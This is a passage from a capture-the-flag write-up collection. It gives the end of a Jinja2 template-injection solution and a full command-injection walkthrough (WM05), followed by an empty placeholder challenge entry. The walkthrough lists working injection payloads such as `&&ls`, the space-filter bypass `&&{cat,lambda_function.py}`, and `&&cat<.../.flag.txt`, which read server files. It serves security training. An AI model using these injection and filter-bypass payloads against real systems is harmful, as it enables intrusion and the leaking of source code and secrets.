2. Crash the script with `{{foo()}}` to get a stacktrace:

   ```
    File "/var/task/lambda_function.py", line 42, in lambda_handler
        'body': handle(event)
    ", "  File "/var/task/lambda_function.py", line 34, in handle
        msg = Template(template).render(dir=dir, help=help, locals=locals, globals=globals, template=flag)
    ", "  File "/var/task/jinja2/environment.py", line 1090, in render
        self.environment.handle_exception()
    ", "  File "/var/task/jinja2/environment.py", line 832, in handle_exception
        reraise(*rewrite_traceback_stack(source=source))
    ", "  File "/var/task/jinja2/_compat.py", line 28, in reraise
        raise value.with_traceback(tb)
    ", "  File "<template>", line 2, in top-level template code
   ```
3. There is a `template` variable passed to the `render` function for the template. Let's send a request for `{{template}}` to print the contents of the `template`/`flag` variable. This shows the flag.

### Flag

`t3mpl4te_vu1n`


# WM05 - 250pts

## Briefing

> Access the site at <https://cfta-wm05.allyourbases.co>, then find and read the contents of the flag file, to get the flag.

## Solution

1. Note that using Burp Suite's repeater functionality makes editing and sending the requests for this challenge much easier.
2. This is a [command injection](https://book.hacktricks.xyz/pentesting-web/command-injection) challenge. [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)'s page about Command Injection is very helpful here.
3. Sending an `&&ls` command to list the current directory works and shows us that there is a file called `lambda_function.py` that likely contains the logic of the AWS lambda function. However, trying to use `cat` to display the file by running `cat lambda_function.py` doesn't work and instead returns `Error: Invalid Character Detected`.
4. Assuming the script filters spaces we can use the "Bypass without space" section from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space)'s page about Command Injection and format our command like so `&&{cat,lambda_function.py}`. This successfully leaks the server logic, which we saved to [lambda\_function.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Web/WM05/lambda_function.py).
5. Pass `&&{ls,-a}` as the `path` argument in the JSON request to print all files, including hidden files in the current directory. There is a folder called `...`.
6. Use `&&{ls,-a,...}` to list the contents of the `...` folder, which contains a file named `.flag.txt`.
7. Run `&&cat<.../.flag.txt` to get the flag.

### Flag

`bh%3kx9j75%3k2*7!n`


# Challenge Name

## Briefing

> Download the file and find a way to get the flag. Contents: chicken.pdf

Challenge Files:

* [be01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/be01.zip)

## Solution

1. **Flag**

`example`


